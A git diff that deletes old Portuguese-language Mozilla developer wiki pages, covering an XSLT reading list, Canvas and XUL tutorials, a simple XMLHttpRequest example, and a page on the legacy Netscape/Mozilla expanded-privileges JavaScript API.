diff --git a/files/pt-pt/transformar_xml_com_xslt/para_leitura_adicional/index.html b/files/pt-pt/transformar_xml_com_xslt/para_leitura_adicional/index.html deleted file mode 100644 index 888e6527a8..0000000000 --- a/files/pt-pt/transformar_xml_com_xslt/para_leitura_adicional/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Para leitura adicional -slug: Transformar_XML_com_XSLT/Para_leitura_adicional -tags: - - PrecisaDeConteúdo - - Transformar_XML_com_XSLT ---- -« Transforming XML with XSLT - -

Imprimir

- -

Livros

- -
-
XSLT: Programmer's Reference, Second Edition - -
-
Autor: Michael H. Kay
-
Tamanho: 992 páginas
-
Editora: Wrox; 2 edition (3 de maio de 2001)
-
ISBN: 0764543814 -
-
Michael Kay é um membro do W3C XSL Working Group e o desenvolvedor de seu próprio processador XSLT de código livre, Saxon. Ele é também o autor do único livro deste assunto a ter alcançado a segunda edição. Este é um grande livro, atraente e bem completo, às vezes completo demais em detalhes, cobrindo toda base possível sobre XSLT.
-
-
-
-
-
- -

http://www.amazon.com/XSLT-Programme.../dp/0764543814

- -

 

- -
-
XSLT - -
-
Autor: Doug Tidwell
-
Tamanho: 473 páginas
-
Editora: O'Reilly Media; 1 edition (15 de agosto de 2001)
-
ISBN: 0596000537 -
-
Doug Tidwell é um desenvolvedor sênior na IBM e um evangelista notável sobre tecnologias XML em geral. Ele é o autor de vários artigos e tutoriais em vários aspectos de XML no extenso site do desenvolvedor XML da IBM. Este livro é menos abrangente que o do Michael Kay, mas cobre todo o conteúdo básico e oferece exemplos interessantes.
-
-
-
-
-
- -

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

- -

 

- -
-
Learning XML, Second Edition - -
-
Autor: Erik T. Ray
-
Tamanho: 432 páginas
-
Editora: O'Reilly Media; 2 edition (22 de setembro de 2003)
-
ISBN: 0596004206 -
-
Como o título indica, esta é uma visão geral sobre XML. O capítulo 6 é voltado especificamente para XSLT.
-
-
-
-
-
- -

http://www.amazon.com/gp/product/0596004206

- -

Digital

- -

Websites

- -
-
World Wide Web Consortium - -
-
The W3C homepage: http://www.w3.org/
-
The main XSL page: http://www.w3.org/Style/XSL/
-
The version 1.0 Recommendation for XSLT: http://www.w3.org/TR/xslt
-
Archive of public style (CSS and XSLT) discussions: http://lists.w3.org/Archives/Public/www-style/
-
The version 1.0 Recommendation for XPath: http://www.w3.org/TR/xpath -
-
The World Wide Web Consortium is the body that publishes Recommendations for a number of web-based technologies, many of which become the de-facto standard.
-
-
-
-
-
- -

Artigos

- -
-
Hands-on XSL - -
-
Author: Don R. Day
-
Location: http://www-106.ibm.com/developerwork...-hands-on-xsl/
-
-
-
- -
-
Understanding XSLT - -
-
Author: Jay Greenspan
-
Location: http://hotwired.lycos.com/webmonkey/...l?tw=authoring
-
-
-
- -
-
What is XSLT? - -
-
Author: G. Ken Holman
-
Location: http://www.xml.com/pub/a/2000/08/holman/index.html
-
-
-
- -

Tutoriais/Exemplos

- -
-
Zvon - -
-
XSL Programmers: http://www.zvon.org/o_html/group_xsl.html
-
-
-
- -
-
Jeni's XSLT Pages - -
-
Index: http://www.jenitennison.com/xslt/
-
-
-
- -
-
XMLPitstop.com - -
-
StyleSheet Center: http://www.xmlpitstop.com/Default.asp?DataType=SSC
-
-
-
- -
-
XSL Tutorial - -
-
Index: http://www.nwalsh.com/docs/tutorials/xsl/
-
-
-
- -

Outros

- -
-
Cover Pages - -
-
Extensible Stylesheet Language (XSL): http://www.oasis-open.org/cover/xsl.html
-
-
-
- -
-
XSL-List - -
-
Subscribe: http://www.mulberrytech.com/xsl/xsl-list/
-
Archives: http://www.biglist.com/lists/xsl-list/archives/ -
-
The XSL-List is a very active general mailing list, hosted by Mulberry Technologies
-
-
-
-
-
- -
-
mozilla.dev.tech.xslt - -
-
Google Groups: http://groups.google.com/group/mozilla.dev.tech.xslt - -
-
This is a newsgroup that discusses Netscape-specific XSLT issues.
-
-
-
-
-
- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}

diff --git a/files/pt-pt/tutorial_do_canvas/formas_de_desenho/index.html b/files/pt-pt/tutorial_do_canvas/formas_de_desenho/index.html deleted file mode 100644 index e23701e72d..0000000000 --- a/files/pt-pt/tutorial_do_canvas/formas_de_desenho/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Formas de desenho -slug: Tutorial_do_Canvas/Formas_de_desenho ---- -

A Grade

-

Antes de começar a desenhar, nós precisamos falar um pouco sobre o sistema de cordenadas. No início da página anterior há um template de 150x150. Eu desenhei a grade padrão. Normalmente 1 unidade na grade corresponde à 1 pixel na tela. A origem da grade está posicionada no canto superior esquerdo (cordenada (0; 0)). Todos os elementos são posicionados pela sua origem. Então a posição do canto superior esquerdo do quadrado azul está em x pixels da esquerda e y pixels de cima (cordenada (x; y)). Mais tarde neste tutorial, nós veremos como reposicionar esta origem, rodar a grade e redimensionar. Por enquanto, trabalharemos com os padróes.

-

Desenhado formas

-

Diferente do SVG, o canvas suporta apenas uma forma primitiva - retângulos. Todas as outras formas devem ser criadas combinando uma ou mais formas. Por sorte, nós temos uma coleção de funções de desenho de formas que permite a composição de forma altamente complexas.

diff --git a/files/pt-pt/tutorial_do_canvas/index.html b/files/pt-pt/tutorial_do_canvas/index.html deleted file mode 100644 index 98c8233b1e..0000000000 --- a/files/pt-pt/tutorial_do_canvas/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Tutorial do Canvas -slug: Tutorial_do_Canvas -tags: - - 'HTML:Canvas' - - Tutoriais - - Tutorial_do_Canvas ---- -

O <canvas> é um elemento HTML novo que pode ser usado para desenhar gráficos através de linguagens de guião (normalmente JavaScript). Ele pode, por exemplo, ser usado para desenhar gráficos, fazer composição de fotografias ou animações (simples e não tão simples). A imagem à direita apresenta alguns exemplos de implementações de <canvas> que veremos mais adiante neste tutorial.

-

O <canvas> foi inicialmente apresentado pela Apple para o Mac OS X Dashboard e mais tarde implementado no Safari. Os navegadores baseados no Gecko 1.8, tal como o Firefox 1.5, também suportam este elemento. O elemento <canvas> faz parte das específicações WhatWG Web applications 1.0, também conhecidas como HTML 5.

-

Neste tutorial eu vou tentar descrever como implementar o elemento <canvas> nas suas páginas HTML. Os exemplos apresentados devem dar umas boas ideias sobre o que é que se pode fazer com <canvas> e podem ser usados para começar a construir outras implementações.

-

Antes de começar

-

O uso do elemento <canvas> não é muito difícil mas para isso é preciso possuir um conhecimento básico de HTML e JavaScript.

-

Como foi dito acima, o elemento <canvas> não é suportado em todos os navegadores modernos. Por consequência, para ver os exemplos será necessário usar o Firefox ou outro navegador baseado no Gecko tal como o Opera ou o Safari.

-

Neste Tutorial

- -

Ver também

- -

{{ Next("Canvas tutorial:Basic usage") }}

-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/Canvas_tutorial", "fr": "fr/Tutoriel_canvas", "ja": "ja/Canvas_tutorial", "ko": "ko/Canvas_tutorial", "pl": "pl/Przewodnik_po_canvas", "zh-cn": "cn/Canvas_tutorial" } ) }}

diff --git "a/files/pt-pt/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" "b/files/pt-pt/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" deleted file mode 100644 index 489af34137..0000000000 --- "a/files/pt-pt/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Utilização básica -slug: Tutorial_do_Canvas/Utilização_básica ---- -

O Elemento <canvas>

-

Vamos iniciar este tutorial olhando para o elemento <canvas>.

-
<canvas id="tutorial" width="150" height="150"><canvas>
-
-

Isto se parece com o elemento <img>, a única diferença é que não tem os atributos src e alt. O elemento <canvas> tem apenas dois atriburos - width e height. Estes são opcionais e podem ser mudados usando propriedades do DOM. Quando não configurados os valores de width e height, a largura será de 300 pixels e a altura será de 150 pixels. O elemento pode ser redimensionado árbitrariamente usando CSS, mas durante a renderização a imagem será redimensionada para preencher o tamanho total do elemento (Se a renderização parecer distorcida, tente mudar os valores de width e height do elemento <canvas>, e não via CSS).

-

O atributo id não é específico do elemeto <canvas>, mas é um dos atributos padrão do HTML que pode ser aplicato à (quase) todos os elementos HTML. É sempre uma boa idéia adicionar o atributo id porque fica fácil de identificar o elemento no script.

-

O elemento <canvas> pode ser estilizado como qualquer imagem normal (margem, borda, fundo, etc). estas estilizações não afetam o desenho real da imagem. Nós veremos mais adiante neste tutorial. Quando nenhuma regra é aplicada à <canvas>, ela será totalmente transparente.

-

Conteúdo alternativo

-

Por ser relativamente novo, o elemento <canvas> não foi implementado em alguns navegadores (como no IE, antes da versão 9), os precisamos definir um conteúdo alternativo para navegadores que não suportam a tag.

-

Isto é muito fácil: nós apenas adicionamos o conteúdo alternativo dentro do elemento <canvas>. Navegadores que não suportam <canvas> irão ignorar o elemento e renderizar o conteúdo interno. Navegadores que suportam <canvas> irão ignorar o conteúdo interno e renderizar o elemento normalmente.

-

Por exemplo, nós podemos adicionar uma descrição de texto do elemento ou adicionar uma imagem estática do conteúdo dinâmicamente renderizado. Parecerá assim:

-
<canvas id="grafEstoque" width="150" height="150">
-  Preço atual do estoque: $3,15 +0,15
-</canvas>
-
-<canvas id="relogio" width="150" height="150">
-  <img src="imagens/relogio.png" width="150" height="150" />
-</canvas>
-
diff --git "a/files/pt-pt/tutorial_xul/adicionando_bot\303\265es/index.html" "b/files/pt-pt/tutorial_xul/adicionando_bot\303\265es/index.html" deleted file mode 100644 index 98cc27b169..0000000000 --- "a/files/pt-pt/tutorial_xul/adicionando_bot\303\265es/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Adicionando botões -slug: Tutorial_XUL/Adicionando_botões -tags: - - PrecisaDeRevisãoEditorial - - Todas_as_Categorias - - Tutorial_XUL - - XUL ---- -

-

-

Adicionando Botões a uma Janela

-

A janela que nós criamos não possuía nada, então ainda não é muito interessante. Nessa sessão, iremos adicionar dois botões, um botão "Find" e outro "Cancel". Iremos também aprender uma maneira simples de posicionar os botões na janela. -

Como em HTML, XUL tem uma série de tags que podem ser usadas para criar UIs. A mais básica delas é a tag {{ XULElem("button") }}. Este elemento é usado para criar botões simples. -

O elemento botão tem duas propriedades principais associadas a ele, uma label uma image. Você precisará ao menos de uma delas ou das duas para criar um botão simples. Portanto, um botão pode ter apenas uma label (texto), uma imagem ou os dois juntos. Botões são geralmente usados para comandos OK e Cancel numa caixa de diálogo, por exemplo. Vale lembrar que não haverá erro caso não seja colocado nem uma label ou uma imagem, apenas o botão ficará em branco o que não é muito comum em interfaces. -

-

Sintaxe dos Botões

-

A tag button tem a seguinte sintaxe: -

-
<button
-    id="identifier"
-    class="dialog"
-    label="OK"
-    image="images/image.jpg"
-    disabled="true"
-    accesskey="t"/>
-
-

Os atributos a seguir são todos opcionais: -

-
id 
Um identificador único para o botão. Como já dissemos em sessões anteriores, muitos elementos terão esse identificador. Você deverá usar este atributo caso deseje referenciar o botão em um CSS ou script. Entretanto, é aconselhável que você coloque o atributo id mesmo que não vá referenciar o botão em nenhum lugar. -
class 
A classe do botão. Tem o mesmo efeito do atributo "class" em HTML, usado para CSS. Neste caso, o valor dialog é usado. -
label 
O texto que irá aparecer dentro do botão. Se for deixado em branco ou não for especificado, nenhum texto irá aparecer. -
image 
A URL da imagem que aparecerá no botão. Se for deixado em branco ou não for especificado, nenhuma imagem irá aparecer. Você também pode especificar a imagem através da propriedade CSS list-style-image. -
disabled 
Se este atributo for setado como true, o botão ficará desabilitado. Se um botão está desabilitado, as funções que ele possui não poderão ser executadas. O default para esta propriedade é o botão habilitado. Você também pode trocar o estado do botão com JavaScript. -
accesskey 
Esta propriedade designa uma letra como tecla de atalho. A letra especificada geralmente sublinhada no texto do botão. Caso não haja a letra especificada como atalho no texto escrito no atributo "label", a letra aparecerá no final do texto, entre parênteses. Quando o usuário pressionar a tecla ALT (ou a tecla similar em outras plataformas) e a letra de atalho, o botão será acionado. -
-

O botão possui diversas outras propriedades que podem ser vistas no link Mais propriedades. -

-

Alguns exemplos de botões

-

"Codigo Fonte" : Visualizar -

-
Image:buttons1.png
-
<button label="Normal"/>
-<button label="Disabled" disabled="true"/>
-
-

O exemplo acima irá gerar os botões da imagem ao lado. O primeiro é um botã normal. O segundo está desabilitado, por isso aparece em tom de cinza. -

Vamos começar criando um simples botão "Find", para nosso aplicativo de encontrar arquivos. O código abaixo mostra como fazer isso. -

-
<button id="find-button" label="Find"/>
-
-
Note que o Firefox não permite a você abrir janelas chrome de páginas Web, por isso os links "Visualizar" abrem em janelas normais do browser. Por esse motivo, os botões ocuparão toda a tela. Você pode adicionar o atributo align="start" na tag window para prevenir isso.
-
-
O exemplo findfile.xul
-

Vamos adicionar o código acima ao arquivo findfile.xul criado na sessão anterior. O código precisa se inserido entre as tags window. O código a ser adicionado está exibido em vermelho, abaixo: -

-
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-<window
-    id="findfile-window"
-    title="Find Files"
-    orient="horizontal"
-     xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-
-  <button id="find-button" label="Find"/>
-  <button id="cancel-button" label="Cancel"/>
-
-</window>
-
-
Image:buttons2.png
-Você irá notar que o botão "Cancel" foi adicionado. Foi dado à janela uma orientação horizontal fazendo com que os botões apareçam um ao lado do outro. Se você abrir o arquivo no Mozilla, você deverá ter alguma coisa parecida como a imagem ao lado.
-
Note que é aconselhável não colocar as labels diretamento no arquivo XUL. Devemos usar entidades de forma que o texto seja facilmente traduzido.
-

Na próxima sessão, iremos encontrar como -

In the next section, we will find out how to adicionar labels e imagens em um arquivo XUL.

See also more button fetaures -

{{ PreviousNext("XUL Tutorial:Creating a Window", "XUL Tutorial:Adding Labels and Images") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/XUL_Tutorial/Adding_Buttons", "es": "es/Tutorial_de_XUL/A\u00f1adiendo_botones", "ja": "ja/XUL_Tutorial/Adding_Buttons", "pl": "pl/Kurs_XUL/Dodawanie_przycisk\u00f3w" } ) }} diff --git a/files/pt-pt/tutorial_xul/criando_uma_janela/index.html b/files/pt-pt/tutorial_xul/criando_uma_janela/index.html deleted file mode 100644 index 37e7ee87a8..0000000000 --- a/files/pt-pt/tutorial_xul/criando_uma_janela/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Criando uma janela -slug: Tutorial_XUL/Criando_uma_janela -tags: - - PrecisaDeAtualização - - Todas_as_Categorias - - Tutorial_XUL - - XUL ---- -

 

- -

Criando uma aplicação XUL

- -

Uma aplicação XUL pode ter qualquer nome mas ela precisa necessariamente ter a extensão .xul. A aplicação XUL mais simples tem a seguinte estrutura:

- -
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-
-<window
-    id="findfile-window"
-    title="Find Files"
-    orient="horizontal"
-    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-<!-- Other elements go here -->
-</window>
-
- -

Esta janela não irá fazer nada já que ela não contém nenhum elemento de interação com o usuário (UI). Estes serão adicionados na próxima sessão. Abaixo segue uma explicação de cada linha do código acima:

- -
    -
  1. <?xml version="1.0"?>
    - Esta linha serve simplesmente para declarar que este é um arquivo XML. Você normalmente colocará essa linha no topo de cada arquivo XUL assim como você coloca a tag HTML em cada arquivo HTML.
  2. -
  3. <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
    - Esta linha é usada para especificar o arquivo CSS que será usado pelo arquivo. Esta é a sintaxe que os arquivos XML usam para importar folhas de estilo. Nesse caso, importamos os CSS que se encontram na pasta global do pacote de skins. Repare que não foi designado um arquivo específico então o Mozilla irá determinar qual arquivo CSS será utilzado. Nesse caso, o arquivo global.css será selecionado. Este arquivo contém todas as declarações padrão para todos os elementos XUL. Pelo fato do XML não ter a capacidade de definir como os elementos serão exibidos, o CSS indica como fazê-lo. Geralmente, você colocará esta linha no topo de todos os arquivos XUL. Você poderá também importar um arquivo externo usando a mesma sintaxe. Note que você normalmente irá importar o CSS global de seu próprio arquivo.
  4. -
  5. <window
    - Esta linha declara que você está descrevendo um window. Cada janela de UI é descrita em um arquivo separado. Esta tag é semelhante à tag BODY do HTML, que engloba o conteúdo do arquivo. Muitos atributos podem ser colocados na tag window -- nesse caso, são quatro. Neste exemplo, cada atributo é colocado em uma linha separada, mas não é preciso seguir essa regra.
  6. -
  7. id="findfile-window"
    - O atributo id é usado como um identificador que é usado por scripts para ser rerefenciado. Normalmente é colocado um atributo id em todos os elementos. Você pode dar qualquer nome aos atributos, mas de preferência dê nomes que identifiquem para o que o atributo serve.
  8. -
  9. title="Find Files"
    - O atributo title descreve o texto que irá aparecer na barra de título da janela quando ela é exibida. Nesse caso, o texto 'Find Files' irá aparecer.
  10. -
  11. orient="horizontal"
    - O atributo orient especifica o posicionamento dos itens na janela. O valor horizontal indica que os itens devem aparecer dispostos horizontalmente na janela. Você pode também usar o valor vertical para designar que os elementos aparecerão em forma de colunas. Como este é o valor default, você pode optar por não escrever esse atributo caso deseje que os elementos aparecam na vertical.
  12. -
  13. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
    - Esta linha declara o namespace para o XUL, que você deve colocar em uma elemento janela de forma a indicar que todos os seus 'filhos' são XUL. Note que essa URL não é exibida para você. Mozilla irá reconhecer essa URL internamente.
  14. -
  15. <!-- Other elements go here -->
    - Você pode substituir esse bloco de comentários por outros elementos (botões, menus e outros componentes de UI) que aparecerão na janela. Nós iremos adicionar alguns deles na próxima sessão.
  16. -
  17. </window>
    - E finalmente, precisamos fechar a tag window no final do arquivo.
  18. -
- -

Abrindo uma janela

- -

Para abrir uma janela XUL, existem vários métodos que podem ser usados. Se você estiver apenas na fase de desenvolvimento, você pode simplesmente escrever a URL (como um chrome:, file: or outros tipos de URL) na barra de endereços do Mozilla. Você pode também dar um duplo-clique no nome do arquivo em seu diretório, assuminfo que os arquivos XUL estão associados com o Mozilla. A janela XUL irá aparecer na janela do browser como se fosse uma nova janela, mas isso é o suficiente durante o estágio de desevolvimento.

- -

A forma correta, é claro, é abrir a janela usando javascript. Nenhuma sintaxe nova é necessária, podendo ser usada a função window.open() como se fosse uma documento HTML. Entretanto, um parâmetro adicional com o valor 'chrome' é necessário para indicar ao browser será aberto um documento chrome. Isso ira abrir a janela sem as barras de ferramenta e os menus. A sintaxe é descrita abaixo:

- -
window.open(url,windowname,flags);
-
-onde o parâmetro 'flags' recebe o valor "chrome", como no exemplo:
-
-window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
-
- -
-
O exemplo findfile.xul
- -

Vamos começar criando um arquivo básico para a janela 'Find File'. Crie um arquivo chamado findfile.xul e o coloque no diretório especificado no arquivo findfile.manifest (nós o criamos na sessão anterior). Adicione o exemplo mostrado anteriormente ao arquivo e salve-o.

-
- -

Você pode usar o parâmetro da linha de comando '-chrome' para especificar o arquivo XUL a ser aberto quando o Mozilla iniciar. Se não for especificado nenhum arquivo, a janela padrão será aberta. (Normalmente a janela do browser.) Por exemplo, podemos abrir a janela 'Find Files' das seguintes formas:

- -
mozilla -chrome chrome://findfile/content/findfile.xul
-
-mozilla -chrome resource:/chrome/findfile/content/findfile.xul
-
- -

Se você executar este comando a partir de uma linha de comando (assumindo que você tem uma na sua plataforma), a janela 'Find Files' irá abrir como janela padrão, ao invés da janela do browser. Por nós ainda não termos inserido nenhum elemento de interação na janela, você não verá a janela aparecendo. Iremos adicionar alguns elementos na próxima sessão.

- -

Para ver o efeito, o link a seguir irá abrir a janela de favoritos:

- -
mozilla -chrome chrome://communicator/content/bookma...rksManager.xul
-
-Se você estiver usando o Firefox, utilize o link abaixo
-firefox -chrome chrome://browser/content/bookmarks/b...rksManager.xul
-
- -

O argumento '-chrome' não dá ao arquivo nenhum privilégio adicional. Ao contrário, ele abre o arquivo especificado como uma aba, sem barra de endereço ou menus. Apenas URL chromes tem privilégios adicionais.

- -
No link Extension Developer's Extension você encontra um editor XUL que permite que você escreva códigos XUL e veja os resultados em tempo real sem o uso do Mozilla!
diff --git a/files/pt-pt/tutorial_xul/index.html b/files/pt-pt/tutorial_xul/index.html deleted file mode 100644 index 30f3bbf77a..0000000000 --- a/files/pt-pt/tutorial_xul/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Tutorial XUL -slug: Tutorial_XUL -tags: - - Todas_as_Categorias - - Tutorial_XUL - - XUL ---- -

 

- -


- Este tutorial descreve XUL, a Linguagem XML de Interface de Usuário. Esta linguagem foi criada para aplicações Mozilla e é usada para descrever sua interface de usuário.

- -

Introdução

- - - -

Elementos Simples

- - - -
-

Este tutorial de XUL foi criado originalmente por Neil Deakin. Deu-nos a permissão de usá-lo no MDC.

-
- -
-
Informações Sobre o Documento Original
- - -
- -

Categorias

- -

Interwiki Language Links

diff --git "a/files/pt-pt/tutorial_xul/introdu\303\247\303\243o/index.html" "b/files/pt-pt/tutorial_xul/introdu\303\247\303\243o/index.html" deleted file mode 100644 index 04753884df..0000000000 --- "a/files/pt-pt/tutorial_xul/introdu\303\247\303\243o/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Introdução -slug: Tutorial_XUL/Introdução -tags: - - PrecisaDeAtualização - - Todas_as_Categorias - - Tutorial_XUL - - XUL ---- -

 

- -

Este tutorial guiará você no aprendizado de XUL (XML User Interface Language), que é uma linguagem multi-plataforma para descrever interfaces (usuário) de aplicações.

- -

Este tutorial demonstrará a criação de uma interface simples de procura de arquivos, similar à provida pelo Sherlock do Macintosh ou o diálogo de procura de arquivos no Windows. Note que só será criada a interface do usuário, junto com algumas funcionalidades limitadas. A procura real por arquivos não será implementada. Uma linha azul aparecerá à esquerda de um parágrafo quando o diálogo de procura de arquivos tiver sido modificado. Você pode seguir através dessas sessões.

- -

O que é XUL e por que foi criado?

- -

XUL (pronouncia-se zúl, quase como azul - ou cool, em inglês) foi criado para tornar o desenvolvimento do navegador Mozilla mais fácil e rápido. É uma linguagem XML de modo que todas as características disponíveis para XML estão também disponíveis para XUL.

- -

A maioria das aplicações precisa ser desenvolvida usando características de uma plataforma específica, o que torna a construção de software multi-plataforma cara e demorada. Isso pode não ser importante para alguns, mas usuários podem desejar usar uma aplicação em outros dispositivos tais como computadores de mão.

- -

Um número de soluções multi-plataformas foi desenvolvido no passado. Java, por exemplo, tem portabilidade como um ponto chave. XUL é um projeto de linguagem semelhante especificamente projetado para a criação de interfaces de usuário portáteis.

- -

É levado um longo tempo para construir uma aplicação, mesmo para uma só plataforma. O tempo necessário para compilar e depurar pode ser longo. Com XUL, uma interface pode ser implementada e modificada rápida e facilmente.

- -

XUL tem todas as vantagens de outras linguagens XML. Por exemplo, XHTML ou outras linguagens XML tais como o MathML ou o SVG podem ser inseridas nela. Além disso, texto apresentado com XUL é facilmente localizável, o que significa que pode ser traduzido para outros idiomas com pouco esforço. Folhas de estilo podem ser aplicadas para modificar a aparência da interface de usuário (como os skins ou características de temas no WinAmp ou alguns gerenciadores de janelas).

- -

Que espécies de interfaces para usuário podem ser feitas com XUL?

- -

XUL provê a capacidade de criar a maioria dos elementos encontrados em interfaces gráficas modernas. É genérico o suficiente para que possa ser aplicado às necessidades especiais de certos dispositivos e poderoso o suficiente para que desenvolvedores possam criar interfaces sofisticadas com ele.

- -

Alguns elementos que podem ser criados são:

- - - -

O conteúdo exibido pode ser criado a partir de arquivos XUL ou com dados vindos de uma fonte de dados (datasource). No Mozilla, tais fontes de dados incluem uma caixa de correios de usuário, seus marcadores e resultados de buscas. O conteúdo de menus, árvores e outros elementos pode ser habitado com esses dados, ou com seus próprios dados supridos por um arquivo RDF.

- -

O conteúdo XUL pode ser lido de um arquivo local ou de um site remoto. Pode também ser empacotado em um instalador que o usuário copie através de download e instale. Este último método dá à aplicação privilégios adicionais, tais como leitura de arquivos locais e modificação das preferências do usuário.

- -

XUL é atualmente armazenado em arquivos com a extensão .xul. Você pode abrir um arquivo XUL com o Mozilla tanto como com qualquer outro arquivo, usando o comando Abrir Arquivo do menu Arquivo ou escrevendo a URL na barra de endereços.

- -

Quando lendo conteúdo XUL de um site remoto, você deve configurar seu servidor web para enviar arquivos XUL com o tipo de conteúdo 'application/vnd.mozilla.xul+xml'.

- -

O que preciso saber para usar este tutorial?

- -

Você precisa ter um conhecimento de HTML e um mínimo de conhecimento básico de XML e CSS. Aqui estão algumas normas para manter em mente:

- - - -

XUL é suportado no Mozilla e em navegadores baseados nele, tais como o Netscape 6 ou posterior e Mozilla Firefox. Devido a várias mudanças na sintaxe XUL através do tempo, você deverá pegar a última versão para os exemplos funcionarem corretamente.

diff --git a/files/pt-pt/um_pequeno_exemplo_usando_ajax/index.html b/files/pt-pt/um_pequeno_exemplo_usando_ajax/index.html deleted file mode 100644 index 2abdf08c18..0000000000 --- a/files/pt-pt/um_pequeno_exemplo_usando_ajax/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Um pequeno exemplo usando AJAX -slug: Um_pequeno_exemplo_usando_AJAX -tags: - - AJAX - - 'AJAX:Exemplos' - - Todas_as_Categorias ---- -

-

Exemplo de uma simples requisição usando XmlHttpRequest, que retorna o -conteúdo de uma página do mesmo domínio. -

-
// Esta função será chamada pelo componente XmlHttpRequest
-function processReqChange ()
-{
-   var s = 'Status: \t' + request.status + '\n';
-   s += 'StatusText: \t' + request.statusText + '\n';
-   s += 'ResponseText: \t' + request.responseText;
-   // codigo 4 para 'status complete'
-   if (request.readyState == 4 && request.status == 200)
-       alert(s);
-}
-// Se o endereco que se deseja acessar assincronamente
-// for um script, ele poderá receber parâmetros,
-// e uma forma simples de enviar parâmetros é pela própria url
-// var url = 'meu_script.php?var1=par1'
-// Se você tentar acessar uma página de outro domínio (e.g: http://mozilla.org)
-// o firefox vai levantar uma exeção, "Permission denied".
-var url = 'index.html';
-var request = new XMLHttpRequest();
-request.onreadystatechange = processReqChange;
-request.open("GET", url, true);
-request.send("");
-
diff --git "a/files/pt-pt/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" "b/files/pt-pt/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" deleted file mode 100644 index 7b54dfbde6..0000000000 --- "a/files/pt-pt/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Usando privilégios expandidos em navegadores Mozilla -slug: Usando_privilégios_expandidos_em_navegadores_Mozilla -tags: - - JavaScript - - Todas_as_Categorias ---- -

Navegadores Mozilla dispõem de funções para segurança em Javascript similares às usadas para segurança em Java e Javascript no Netscape Communicator 4.x. -

Em casos mais simples, o código pede permissão para habilitar o privilégio que possibilita o acesso ao alvo através de scripts. Por exemplo: -

-
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
-
-//ou:
-
-netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesRead UniversalFileRead");
-
-

Quando este método é invocado, se a assinatura for válida (caso seja um script assinado) ou codebase principal esteja habilitado, os privilégios expandidos são concedidos. Caso o acesso não seja por meio de uma destas formas, por exemplo, utilizando um arquivo local através da url file://, será exibida uma caixa de diálogo perguntando se o usuário permite que o script use estes privilégios e também se deseja memorizar esta decisão. Note que no segundo exemplo o script solicita dois privilégios, porém exibe apenas uma caixa de diálogo descrevendo-os. -

Os privilégios são concedidos apenas no escopo da função que os solicitou. Este escopo inclui as funções chamadas por esta função. Quando a função termina, os privilégios não são mais aplicáveis. -

-

Exemplo

-

A função b solicita privilégios expandidos, e somente comandos e funções chamados no escopo da mesma após a solicitação têm privilégios concedidos. É uma boa prática habilitar privilégios somente quando necessário, e após o uso desabilitá-los. Isso ajuda a proteger o computador do usuário de seções perigosas no código. -

-
function mostraPrivilegios(i) {
-  try{
-    if (history[0] != "") {
-	  document.write(i + ": habilitado<br>");
-	}
-  } catch (e) {
-    document.write(i + ": desabilitado<br>");
-  }
-}
-
-function a() {
-  mostraPrivilegios(5);
-}
-
-function b() {
-  mostraPrivilegios(3);
-  netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
-  mostraPrivilegios(4);
-  a();
-  mostraPrivilegios(6);
-}
-
-function c() {
-  mostraPrivilegios(2);
-  b();
-  mostraPrivilegios(7);
-}
-
-mostraPrivilegios(1);
-c();
-mostraPrivilegios(8);
-
-

Este exemplo exibe o seguinte resultado: -

-
1: desabilitado
-2: desabilitado
-3: desabilitado
-4: habilitado
-5: habilitado
-6: habilitado
-7: desabilitado
-8: desabilitado
-
-

Privilégios

-
UniversalBrowserRead -
Leitura de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao ler de qualquer documento. -
-
UniversalBrowserWrite -
Modificação de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao escrever em qualquer documento. -
-
UniversalXPConnect -
Acesso irrestrito às APIs do browser usando XPConnect. -
-
UniversalPreferencesRead -
Ler preferências usando o método navigator.preference. -
-
UniversalPreferencesWrite -
Ajustar preferências usando o método navigator.preference. -
-
CapabilityPreferencesAccess -
Ler e ajustar as preferências que definem políticas de segurança, incluindo que privilégios foram concedidos e negados aos scripts. Você também necessita de UniversalPreferencesRead e UniversalPreferencesWrite. -
-
UniversalFileRead -
Uso do método window.open com URLs file:// e permite que o browser faça upload de arquivos usando <input type="file">. -
-

Nota: Este artigo, bem como seu exemplo, foi baseado no artigo Signed Scripts in Mozilla, porém, conta com atualizações para conformidade no uso de navegadores atuais. -

-
-

Informações Sobre o Documento Original

- -
-

Categorias -

Interwiki Language Links -

